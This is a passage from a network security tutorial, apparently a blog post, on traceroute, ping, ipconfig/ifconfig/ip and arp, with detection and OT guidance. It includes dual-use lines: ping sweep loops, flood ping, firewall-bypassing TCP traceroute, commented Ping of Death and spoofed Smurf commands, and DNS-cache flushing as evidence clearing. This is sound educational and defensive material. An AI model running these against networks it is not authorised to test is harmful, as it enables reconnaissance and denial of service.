&lt;span class="c"&gt;# Firewall type detection from traceroute responses:&lt;/span&gt;
&lt;span class="c"&gt;# * * * at specific hop: ICMP blocked (stateless filter or DROP policy)&lt;/span&gt;
&lt;span class="c"&gt;# !X: network unreachable (routing problem)&lt;/span&gt;
&lt;span class="c"&gt;# !H: host unreachable&lt;/span&gt;
&lt;span class="c"&gt;# !P: protocol unreachable&lt;/span&gt;
&lt;span class="c"&gt;# !F: fragmentation needed&lt;/span&gt;
&lt;span class="c"&gt;# !A: administratively prohibited (ACL REJECT rule)&lt;/span&gt;

&lt;span class="c"&gt;# Asymmetric routing detection:&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; targetIP          &lt;span class="c"&gt;# Outbound path&lt;/span&gt;
&lt;span class="c"&gt;# Then have target traceroute back to you&lt;/span&gt;
&lt;span class="c"&gt;# Different paths = asymmetric routing (security monitoring implications)&lt;/span&gt;

&lt;span class="c"&gt;# Use traceroute to bypass firewalls:&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80 blocked_host.com    &lt;span class="c"&gt;# TCP SYN to port 80&lt;/span&gt;
&lt;span class="c"&gt;# If HTTP (port 80) is allowed through firewall but ICMP/UDP is not:&lt;/span&gt;
&lt;span class="c"&gt;# TCP traceroute succeeds where normal traceroute fails&lt;/span&gt;
&lt;span class="c"&gt;# Useful for: determining where filtering occurs, identifying firewall position&lt;/span&gt;

&lt;span class="c"&gt;# Network change detection (baseline and compare):&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8 | &lt;span class="nb"&gt;tee&lt;/span&gt; /tmp/baseline_&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d&lt;span class="si"&gt;)&lt;/span&gt;.txt
&lt;span class="c"&gt;# Compare over time: different path = routing change (possibly malicious)&lt;/span&gt;
&lt;span class="c"&gt;# BGP hijack: traffic suddenly going through unexpected ASes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Traceroute and Security Monitoring:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Detect traceroute probes against your network (defensive):&lt;/span&gt;
&lt;span class="c"&gt;# In Wireshark: filter for TTL-limited packets:&lt;/span&gt;
&lt;span class="c"&gt;# ip.ttl &amp;lt;= 3 and not (ip.src == your_IP)&lt;/span&gt;

&lt;span class="c"&gt;# In tcpdump:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'ip[8] &amp;lt; 5'&lt;/span&gt;     &lt;span class="c"&gt;# IP TTL &amp;lt; 5 (traceroute probes)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'udp and ip[8] &amp;lt; 5'&lt;/span&gt;  &lt;span class="c"&gt;# UDP traceroute probes&lt;/span&gt;

&lt;span class="c"&gt;# In iptables (log traceroute probes):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-m&lt;/span&gt; ttl &lt;span class="nt"&gt;--ttl-lt&lt;/span&gt; 5 &lt;span class="nt"&gt;-j&lt;/span&gt; LOG &lt;span class="nt"&gt;--log-prefix&lt;/span&gt; &lt;span class="s2"&gt;"TRACEROUTE: "&lt;/span&gt;

&lt;span class="c"&gt;# Detect hping3 traceroute (TCP SYN with low TTL):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'tcp[tcpflags] &amp;amp; tcp-syn != 0 and ip[8] &amp;lt; 10'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Traceroute is the network equivalent of a map — it shows where your traffic goes and how it gets there. During incident response, traceroute to C2 IP addresses reveals ISP infrastructure and geographic routing, which supports attribution. Changes in traceroute paths over time can indicate BGP hijacking. In OT environments, traceroute confirms whether traffic is properly segmented — if a traceroute from an untrusted zone reaches an OT device with fewer hops than expected, segmentation may be compromised.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. Ping — The Fundamental Connectivity Test
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Ping Mechanics
&lt;/h3&gt;

&lt;p&gt;Ping sends ICMP Echo Request packets and waits for ICMP Echo Reply. It measures:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Whether a host is reachable&lt;/li&gt;
&lt;li&gt;Round-trip time (RTT)&lt;/li&gt;
&lt;li&gt;Packet loss percentage
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ICMP Echo Request/Reply:
  Type 8, Code 0: Echo Request (ping sent)
  Type 0, Code 0: Echo Reply (pong received)

Packet structure:
  [IP Header][ICMP Header][Identifier][Sequence Number][Data]
  Identifier: identifies the ping process (useful for multi-process analysis)
  Sequence Number: increments per packet (detects packet loss/reordering)
  Data: typically a timestamp + padding
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 Ping Commands
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Linux ping:&lt;/span&gt;
ping 192.168.1.1                     &lt;span class="c"&gt;# Ping until Ctrl+C&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 4 192.168.1.1                &lt;span class="c"&gt;# -c 4: send 4 packets&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 192.168.1.1          &lt;span class="c"&gt;# -W 1: 1 second timeout (quick test)&lt;/span&gt;
ping &lt;span class="nt"&gt;-i&lt;/span&gt; 0.2 192.168.1.1             &lt;span class="c"&gt;# -i 0.2: send every 0.2 seconds (fast)&lt;/span&gt;
ping &lt;span class="nt"&gt;-s&lt;/span&gt; 1400 192.168.1.1            &lt;span class="c"&gt;# -s 1400: packet size 1400 bytes&lt;/span&gt;
ping &lt;span class="nt"&gt;-f&lt;/span&gt; 192.168.1.1                 &lt;span class="c"&gt;# -f: flood ping (root only — sends as fast as possible)&lt;/span&gt;
ping &lt;span class="nt"&gt;-t&lt;/span&gt; 64 192.168.1.1              &lt;span class="c"&gt;# -t 64: set TTL to 64&lt;/span&gt;
ping &lt;span class="nt"&gt;-q&lt;/span&gt; 192.168.1.1                 &lt;span class="c"&gt;# -q: quiet (only summary)&lt;/span&gt;
ping &lt;span class="nt"&gt;-b&lt;/span&gt; 192.168.1.255               &lt;span class="c"&gt;# -b: broadcast ping (finds all hosts on subnet)&lt;/span&gt;

&lt;span class="c"&gt;# ping6 (IPv6):&lt;/span&gt;
ping6 ::1                           &lt;span class="c"&gt;# Ping IPv6 loopback&lt;/span&gt;
ping6 &lt;span class="nt"&gt;-I&lt;/span&gt; eth0 fe80::1               &lt;span class="c"&gt;# Ping link-local (must specify interface)&lt;/span&gt;

&lt;span class="c"&gt;# Windows ping:&lt;/span&gt;
ping 192.168.1.1                    &lt;span class="c"&gt;# 4 packets by default&lt;/span&gt;
ping &lt;span class="nt"&gt;-t&lt;/span&gt; 192.168.1.1                 &lt;span class="c"&gt;# Ping continuously&lt;/span&gt;
ping &lt;span class="nt"&gt;-n&lt;/span&gt; 10 192.168.1.1              &lt;span class="c"&gt;# -n 10: 10 packets&lt;/span&gt;
ping &lt;span class="nt"&gt;-l&lt;/span&gt; 1000 192.168.1.1            &lt;span class="c"&gt;# -l 1000: 1000 byte packets&lt;/span&gt;
ping &lt;span class="nt"&gt;-i&lt;/span&gt; 5 192.168.1.1               &lt;span class="c"&gt;# -i 5: TTL = 5&lt;/span&gt;
ping &lt;span class="nt"&gt;-w&lt;/span&gt; 3000 192.168.1.1            &lt;span class="c"&gt;# -w 3000: 3 second timeout&lt;/span&gt;

&lt;span class="c"&gt;# Network sweep with ping (quick host discovery):&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 254&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 192.168.1.&lt;span class="nv"&gt;$i&lt;/span&gt; &amp;amp;&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"192.168.1.&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt; is alive"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="c"&gt;# Slow — runs sequentially&lt;/span&gt;

&lt;span class="c"&gt;# Parallel ping sweep (faster):&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 254&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="o"&gt;(&lt;/span&gt;ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 192.168.1.&lt;span class="nv"&gt;$i&lt;/span&gt; &amp;amp;&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"192.168.1.&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt; alive"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp;
&lt;span class="k"&gt;done
&lt;/span&gt;&lt;span class="nb"&gt;wait&lt;/span&gt;

&lt;span class="c"&gt;# fping (faster, parallel by design):&lt;/span&gt;
fping &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; 192.168.1.0/24 2&amp;gt;/dev/null  &lt;span class="c"&gt;# -a: show alive, -g: generate range&lt;/span&gt;
fping &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; 192.168.1.0/24              &lt;span class="c"&gt;# -A: show addresses of alive hosts&lt;/span&gt;

&lt;span class="c"&gt;# MTU discovery using ping:&lt;/span&gt;
ping &lt;span class="nt"&gt;-M&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; 1472 192.168.1.1     &lt;span class="c"&gt;# -M do: don't fragment, -s 1472 (+28 headers = 1500 MTU)&lt;/span&gt;
&lt;span class="c"&gt;# If MTU is smaller: "Frag needed and DF set"&lt;/span&gt;
&lt;span class="c"&gt;# Binary search for MTU: test 1472, 1000, 1300, 1400, 1450...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 Ping for Security Analysis
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Detect if ICMP is blocked by firewall:&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 target_ip
&lt;span class="c"&gt;# No response: either host down OR ICMP blocked by firewall&lt;/span&gt;
&lt;span class="c"&gt;# Use TCP scan to disambiguate:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80,443 &lt;span class="nt"&gt;-Pn&lt;/span&gt; target_ip    &lt;span class="c"&gt;# -Pn: skip ping, assume host is up&lt;/span&gt;

&lt;span class="c"&gt;# Detect ICMP rate limiting:&lt;/span&gt;
ping &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 1000 192.168.1.1         &lt;span class="c"&gt;# Flood ping (root required)&lt;/span&gt;
&lt;span class="c"&gt;# Rate: loss% indicates rate limiting or capacity issues&lt;/span&gt;
&lt;span class="c"&gt;# Security: can be used to stress test, also detects DoS-resistant configs&lt;/span&gt;

&lt;span class="c"&gt;# Identify OS via TTL (passive fingerprinting):&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 target_ip | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"ttl="&lt;/span&gt;
&lt;span class="c"&gt;# ttl=64: Linux/Unix&lt;/span&gt;
&lt;span class="c"&gt;# ttl=128: Windows&lt;/span&gt;
&lt;span class="c"&gt;# ttl=255: Cisco/network devices&lt;/span&gt;
&lt;span class="c"&gt;# Note: each hop decrements TTL by 1, so adjust for distance&lt;/span&gt;

&lt;span class="c"&gt;# Covert channel detection (ICMP payload analysis):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 icmp &lt;span class="nt"&gt;-A&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^--&lt;/span&gt;&lt;span class="nv"&gt;$\&lt;/span&gt;&lt;span class="s2"&gt;|bytes"&lt;/span&gt;
&lt;span class="c"&gt;# Large or unusual ICMP payloads = potential covert channel&lt;/span&gt;
&lt;span class="c"&gt;# Normal ping: 32 bytes (Windows) or 56 bytes (Linux) of data&lt;/span&gt;
&lt;span class="c"&gt;# Suspicious: 1400+ bytes, non-standard patterns, encrypted-looking content&lt;/span&gt;

&lt;span class="c"&gt;# Detect ping sweep against your network:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'icmp and icmp[icmptype] = icmp-echo'&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-f1-4&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt;
&lt;span class="c"&gt;# High count from single source = ping sweep (reconnaissance)&lt;/span&gt;

&lt;span class="c"&gt;# ICMP timestamp requests (OS fingerprinting):&lt;/span&gt;
hping3 &lt;span class="nt"&gt;--icmp&lt;/span&gt; &lt;span class="nt"&gt;--icmp-ts&lt;/span&gt; 192.168.1.1    &lt;span class="c"&gt;# ICMP timestamp request&lt;/span&gt;
&lt;span class="c"&gt;# Response reveals system time (useful for timezone identification)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Ping of Death and ICMP-based Attacks:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Ping of Death (historical — modern OSes patched):&lt;/span&gt;
&lt;span class="c"&gt;# Large ICMP fragments caused buffer overflow in old OSes&lt;/span&gt;
&lt;span class="c"&gt;# ping -s 65500 target  # Would crash old Windows/Unix kernels&lt;/span&gt;
&lt;span class="c"&gt;# Modern relevance: some embedded OT devices may still be vulnerable&lt;/span&gt;

&lt;span class="c"&gt;# Smurf Attack (broadcast ping with spoofed source):&lt;/span&gt;
&lt;span class="c"&gt;# Concept: ping broadcast address with victim's IP as source&lt;/span&gt;
&lt;span class="c"&gt;# All hosts reply to victim → amplified DoS&lt;/span&gt;
&lt;span class="c"&gt;# hping3 --icmp -a VICTIM_IP BROADCAST_ADDRESS  (do NOT run this)&lt;/span&gt;
&lt;span class="c"&gt;# Defence: disable broadcast ping response:&lt;/span&gt;
&lt;span class="nb"&gt;echo &lt;/span&gt;1 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

&lt;span class="c"&gt;# ICMP redirect attack detection:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'icmp[icmptype] = icmp-redirect'&lt;/span&gt;
&lt;span class="c"&gt;# Should almost never see ICMP redirects on secure network&lt;/span&gt;
&lt;span class="c"&gt;# ICMP redirect from unexpected host = possible routing attack&lt;/span&gt;

&lt;span class="c"&gt;# Block ICMP redirects:&lt;/span&gt;
sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.conf.all.accept_redirects&lt;span class="o"&gt;=&lt;/span&gt;0
sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.conf.all.secure_redirects&lt;span class="o"&gt;=&lt;/span&gt;0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Ping is deceptively simple but encodes OS type (TTL), network topology (RTT changes), and reachability in every response. No response to ping doesn't mean the host is down — firewalls commonly block ICMP while allowing TCP. In OT environments, ping is the safest active tool to use — a single ICMP Echo Request is unlikely to destabilise most field devices. But even here, caution is warranted with very old RTUs and PLCs.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. ipconfig and ifconfig — Interface Configuration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 Windows ipconfig
&lt;/h3&gt;

&lt;p&gt;ipconfig is the primary Windows command for viewing and managing IP configuration.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Basic commands:
ipconfig                    # Summary: IP, mask, gateway per interface
ipconfig /all               # Full details: MAC, DHCP, DNS, lease times
ipconfig /release           # Release DHCP lease (lose IP)
ipconfig /renew             # Renew DHCP lease (get new IP)
ipconfig /flushdns          # Clear DNS resolver cache
ipconfig /displaydns        # Show DNS resolver cache contents
ipconfig /registerdns       # Re-register DNS (forces DNS update)
ipconfig /showclassid *     # Show DHCP class IDs

# Security-relevant output from ipconfig /all:
# Physical Address (MAC): identifies device manufacturer, useful for inventory
# DHCP Enabled: Yes/No — is this statically or dynamically assigned?
# DHCP Server: which server assigned this IP (for forensic timeline)
# Lease Obtained: when was the IP assigned (forensic timestamp)
# Lease Expires: when will it expire
# Default Gateway: routing path — is this the expected gateway?
# DNS Servers: which servers resolve names — rogue DNS = suspicious
# DNS Suffix Search List: reveals domain membership
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;ipconfig for Security Analysis:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Check for rogue gateway/DNS (MITM indicator):
ipconfig /all | findstr /i "gateway\|dns server"
# Expected: corporate gateway and DNS IPs
# Unexpected: different IPs = possible DHCP poisoning or MITM

# Find all network interfaces (VPN, virtual adapters):
ipconfig /all | findstr /i "adapter\|IPv4\|physical"
# VPN adapters may have routes that bypass monitoring
# Unexpected adapters = possible rogue software

# DNS cache analysis (what has this machine been looking up?):
ipconfig /displaydns
# Shows: all recently resolved domains
# Forensic value: what sites has this machine visited?
# Suspicious entries: C2 domains, unusual TLDs, encoded domain names

# Clear evidence (attacker's move):
ipconfig /flushdns           # Clear DNS cache evidence
# Detection: if DNS cache is empty on an active machine = suspicious
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 Linux ifconfig and ip
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;ifconfig&lt;/code&gt; is legacy. &lt;code&gt;ip&lt;/code&gt; is the modern replacement. Know both.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Legacy ifconfig:&lt;/span&gt;
ifconfig                         &lt;span class="c"&gt;# All interfaces&lt;/span&gt;
ifconfig eth0                    &lt;span class="c"&gt;# Specific interface&lt;/span&gt;
ifconfig eth0 up                 &lt;span class="c"&gt;# Bring interface up&lt;/span&gt;
ifconfig eth0 down               &lt;span class="c"&gt;# Bring interface down&lt;/span&gt;
ifconfig eth0 192.168.1.100/24   &lt;span class="c"&gt;# Set IP address&lt;/span&gt;
ifconfig eth0 promisc            &lt;span class="c"&gt;# Enable promiscuous mode (packet capture)&lt;/span&gt;
ifconfig eth0 &lt;span class="nt"&gt;-promisc&lt;/span&gt;           &lt;span class="c"&gt;# Disable promiscuous mode&lt;/span&gt;

&lt;span class="c"&gt;# Modern ip command:&lt;/span&gt;
ip addr                          &lt;span class="c"&gt;# Show all interfaces and IPs&lt;/span&gt;
ip addr show eth0                &lt;span class="c"&gt;# Specific interface&lt;/span&gt;
ip &lt;span class="nb"&gt;link &lt;/span&gt;show                     &lt;span class="c"&gt;# Link layer info (MAC, state)&lt;/span&gt;
ip route show                    &lt;span class="c"&gt;# Routing table&lt;/span&gt;
ip route get 8.8.8.8             &lt;span class="c"&gt;# What route would be used for this destination?&lt;/span&gt;
ip neigh show                    &lt;span class="c"&gt;# ARP cache&lt;/span&gt;
ip &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nb"&gt;link&lt;/span&gt;                       &lt;span class="c"&gt;# Interface statistics&lt;/span&gt;
ip &lt;span class="nt"&gt;-6&lt;/span&gt; addr                       &lt;span class="c"&gt;# IPv6 addresses&lt;/span&gt;

&lt;span class="c"&gt;# Adding/removing configuration:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip addr add 192.168.1.100/24 dev eth0    &lt;span class="c"&gt;# Add IP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip addr del 192.168.1.100/24 dev eth0   &lt;span class="c"&gt;# Remove IP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 up                       &lt;span class="c"&gt;# Bring up interface&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 down                     &lt;span class="c"&gt;# Bring down interface&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 address AA:BB:CC:DD:EE:FF  &lt;span class="c"&gt;# Change MAC address&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip route add default via 192.168.1.1       &lt;span class="c"&gt;# Add default route&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip route del default                        &lt;span class="c"&gt;# Remove default route&lt;/span&gt;

&lt;span class="c"&gt;# Security-relevant interface operations:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 promisc on     &lt;span class="c"&gt;# Enable promiscuous mode&lt;/span&gt;
ip &lt;span class="nb"&gt;link &lt;/span&gt;show eth0 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; promisc  &lt;span class="c"&gt;# Check if promiscuous mode is on&lt;/span&gt;
&lt;span class="c"&gt;# Promiscuous mode: someone is running packet capture on this interface&lt;/span&gt;
&lt;span class="c"&gt;# Unexpected promisc = potential malicious sniffing&lt;/span&gt;

&lt;span class="c"&gt;# Find all network interfaces (including hidden/virtual):&lt;/span&gt;
ip &lt;span class="nb"&gt;link &lt;/span&gt;show
&lt;span class="c"&gt;# Look for: unexpected tap/tun interfaces (VPN/tunnels), br- (bridges)&lt;/span&gt;
&lt;span class="c"&gt;# br-* = Docker bridge (container networking)&lt;/span&gt;
&lt;span class="c"&gt;# tun0 = OpenVPN/WireGuard tunnel&lt;/span&gt;
&lt;span class="c"&gt;# virbr* = libvirt/QEMU virtual bridge&lt;/span&gt;

&lt;span class="c"&gt;# Check for multiple default routes (split tunnelling indicator):&lt;/span&gt;
ip route show | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"default"&lt;/span&gt;
&lt;span class="c"&gt;# Multiple default routes: possible VPN split tunnelling&lt;/span&gt;
&lt;span class="c"&gt;# Security: traffic may not all go through monitoring infrastructure&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 Network Configuration for Security
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Full network configuration audit script:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/network_config_audit.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
echo "===== NETWORK CONFIGURATION AUDIT ====="
echo "Timestamp: &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"
echo ""

echo "--- All Interfaces ---"
ip addr show | grep -E "^[0-9]|inet "
echo ""

echo "--- MAC Addresses ---"
ip link show | grep "link/ether"
echo ""

echo "--- Routing Table ---"
ip route show
echo ""

echo "--- ARP Cache ---"
ip neigh show
echo ""

echo "--- DNS Configuration ---"
cat /etc/resolv.conf
echo ""

echo "--- Listening Services ---"
ss -tulnp 2&amp;gt;/dev/null | head -30
echo ""

echo "--- Promiscuous Interfaces ---"
ip link show | grep -i promisc
echo ""

echo "--- Active VPN/Tunnel Interfaces ---"
ip link show | grep -E "tun|tap|vpn|wg|ovpn"
echo ""

echo "--- Unusual Routes ---"
ip route show | grep -v "^default&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="sh"&gt;169.254&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="sh"&gt;fe80"
echo ""

echo "===== AUDIT COMPLETE ====="
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/network_config_audit.sh
bash /tmp/network_config_audit.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; ipconfig/ifconfig is the starting point for every network investigation — it establishes your current position on the network. In incident response, unexpected configurations reveal MITM attacks (wrong gateway), DNS hijacking (wrong DNS servers), and covert channels (unexpected VPN adapters or promiscuous interfaces). In OT assessments, collecting interface configuration from all devices builds the network topology without active scanning.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. Additional Critical Tools
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 arp — ARP Table Management
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View ARP cache:&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;                              &lt;span class="c"&gt;# All entries (Linux/Windows)&lt;/span&gt;
ip neigh show                       &lt;span class="c"&gt;# Modern Linux equivalent&lt;/span&gt;

&lt;span class="c"&gt;# Static ARP entries (prevent ARP spoofing of critical hosts):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arp &lt;span class="nt"&gt;-s&lt;/span&gt; 192.168.1.1 AA:BB:CC:DD:EE:FF    &lt;span class="c"&gt;# Add static entry (Linux)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arp &lt;span class="nt"&gt;-d&lt;/span&gt; 192.168.1.1                       &lt;span class="c"&gt;# Delete entry&lt;/span&gt;

&lt;span class="c"&gt;# Windows:&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;                              &lt;span class="c"&gt;# View all&lt;/span&gt;
